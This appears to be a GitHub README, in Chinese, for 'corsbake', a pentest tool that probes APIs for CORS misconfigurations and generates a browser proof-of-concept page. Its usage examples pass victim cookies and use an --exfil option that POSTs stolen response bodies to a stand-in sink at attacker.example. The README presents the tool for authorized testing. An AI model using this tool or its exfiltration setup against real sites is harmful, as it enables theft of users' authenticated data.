daniyalnasir-root/corsbake
GitHub: daniyalnasir-root/corsbake
一个探测 CORS 误配置并自动生成浏览器 PoC 的轻量工具,将理论漏洞转化为可截图的利用演示。
Stars: 0 | Forks: 0
# corsbake
探测目标是否存在 CORS 配置错误,并烘焙一个可用的 PoC HTML 页面。
你怀疑某个 API 端点会反射 `Origin` 并在跨域情况下提供你的会话 Cookie。证据不是响应头的截图,而是一个真实的浏览器,位于你的攻击域名下,使用 `credentials: include` 获取受害者的数据并显示页面内容。`corsbake` 执行六种探测,识别成功绕过的方案,编写 HTML PoC,并告诉你接下来要运行的两条命令。你提供页面,打开它,然后截图。
[](https://www.python.org/)
[](LICENSE)
[](#)
## 概述
CORS 漏洞大概有六种形态是有价值的:精确 Origin 反射、空 Origin、带凭据的通配符、协议降级、后缀绕过,以及子域通配符。诊断是机械化的:在预检请求中发送正确的 Origin,读取返回的 `Access-Control-Allow-Origin` 和 `Access-Control-Allow-Credentials`。繁琐的部分是针对带有受害者 Cookie 的所有六种情况执行探测,并编写一个将漏洞转化为截图的演示页面。
`corsbake` 在一次运行中执行六种探测,附加你提供的任意认证头,并对每个解析为 VULNERABLE 的探测烘焙一个 `poc.html`,该页面使用 `fetch(url, {credentials:'include'})` 获取目标并将泄露的页面内容转储。可选的 `--exfil` URL 会让 PoC 将主体 POST 到你控制的接收器,这样演示就变成一个可用的漏洞利用。输出是一个分段叙述式报告;从上往下阅读,复制末尾的三条命令。
## 功能特性
这些探测针对的是实际中能绕过真实白名单的 Origin 形态,而不仅仅是规范教科书中的情况。仅后缀绕过就能捕获正则白名单代码中反复出现的模式(`^https://victim\.com` 接受 `https://victim.com.attacker.example`)。子域通配符则捕获相反情况:过于宽松的 `*.victim.com`。两者都能奏效。
- 六种探测家族:精确反射、空值、带凭据的通配符、协议降级、后缀绕过、子域通配符
- `--cookie` 和 `--header` 将受害者认证信息带入预检和实际请求
- 每次运行烘焙一个 `poc.html`,执行 `fetch(url, {credentials:'include'})` 并渲染泄露的页面内容
- 可选的 `--exfil URL` 让 PoC 将数据 POST 到你的接收器,实现免交互捕获
- `--no-poc` 仅执行探测,不写入 PoC 文件;工具以干净摘要退出并返回 0
## 安装
```
git clone https://github.com/daniyalnasir-root/corsbake.git
cd corsbake
python3 cli.py -h
```
仅使用标准库。不需要 `pip install`。
## 用法
```
# Quick probe with no auth, write poc.html if anything is vulnerable
python3 cli.py \
--url https://app.example.com/api/me \
--attacker-origin https://attacker.example
# With victim cookie, exfil to a Burp Collaborator-style sink
python3 cli.py \
--url https://app.example.com/api/me \
--attacker-origin https://attacker.example \
--cookie 'session=abcdef; csrf=xyz' \
--exfil https://attacker.example/sink \
--out poc-me.html
# Dry probing for CI: no file written, exit code only
python3 cli.py --url https://app.example.com/api/me \
--attacker-origin https://attacker.example --no-poc
```
## 命令行选项
| 标志 | 是否必需 | 描述 |
|------|----------|------|
| `--url` | 是 | 要读取跨域内容的 target 端点 |
| `--attacker-origin` | 是 | 攻击者控制的 origin(包含协议) |
| `--cookie` | 否 | 受害者 Cookie 字符串 |
| `--header` | 否 | 额外的受害者认证头(`-H` 风格);可重复 |
| `--exfil` | 否 | PoC 将泄露的主体 POST 到的 URL |
| `--out` | 否 | PoC HTML 输出路径(默认 `./poc.html`) |
| `--no-poc` | 否 | 仅探测,不生成 PoC 文件 |
| `--timeout` | 否 | 每次请求超时时间(默认 10) |
## 输出示例
```
$ python3 cli.py --url 'https://httpbin.org/response-headers?...' \
--attacker-origin https://attacker.example --cookie sess=demo
════════════════════════════════════════════════════════════════
corsbake on https://httpbin.org/response-headers?...
════════════════════════════════════════════════════════════════
target https://httpbin.org/response-headers?...
attacker origin https://attacker.example
victim auth cookie
▣ exact-origin reflection
origin sent https://attacker.example
ACAO returned https://attacker.example
ACAC returned true
verdict VULNERABLE: ACAO reflects attacker origin and credentials allowed
▢ wildcard with credentials
origin sent https://random.example
ACAO returned (none)
verdict safe
════════════════════════════════════════════════════════════════
artifact
written ./poc.html (1465 bytes)
serve python3 -m http.server 8080 --directory .
open https://attacker.example/poc.html
════════════════════════════════════════════════════════════════
```
完整未裁剪的易受攻击与安全运行输出位于 [`examples/`](examples/)。
## 法律声明
本工具仅用于授权的安全测试和教育用途。
请仅针对你拥有或已获得明确书面许可的系统运行。
作者不承担任何误用责任。未经授权的使用可能违反
当地、州或联邦法律。
## 作者
由 **Daniyal Nasir** 撰写,他是 **网络安全顾问**、**渗透测试员** 和 **VAPT 服务提供商**,拥有超过十年的 **进攻性安全** 工作经验,涵盖 **Web 应用安全测试**、**API 渗透测试**、**云安全审计**、**移动应用安全评估** 以及 **红队操作**,服务对象包括财富 500 强客户和全球科技平台。足迹遍布 **中东、亚洲、欧洲、非洲和北美**。维护着活跃的 **漏洞赏金** 组合,并以 **负责任的漏洞披露** 向顶级科技公司提交报告。行业认证包括:**OSCP**、**LPT**、**CPENT**、**CEH**、**CISA**、**CISM**、**CASP+**。
联系:[LinkedIn](https://www.linkedin.com/in/daniyalnasir) · [daniyalnasir.com](https://www.daniyalnasir.com)
## 许可证
MIT,详见 [LICENSE](LICENSE)。
标签:Access-Control-Allow-Credentials, Access-Control-Allow-Origin, Cookie泄露, CORS, corsbake, CORS绕过, HTML, Null Origin, Origin, PoC, Python, Web安全, XSS, 凭证携带, 前端安全, 域名后缀绕过, 安全测试, 开源安全工具, 探针, 攻击性安全, 攻击演示, 方案降级, 无后门, 暴力破解, 概念验证, 正则绕过, 浏览器利用, 漏洞情报, 蓝队分析, 跨域资源共享, 逆向工具, 逆向工程平台, 通配符漏洞, 预检请求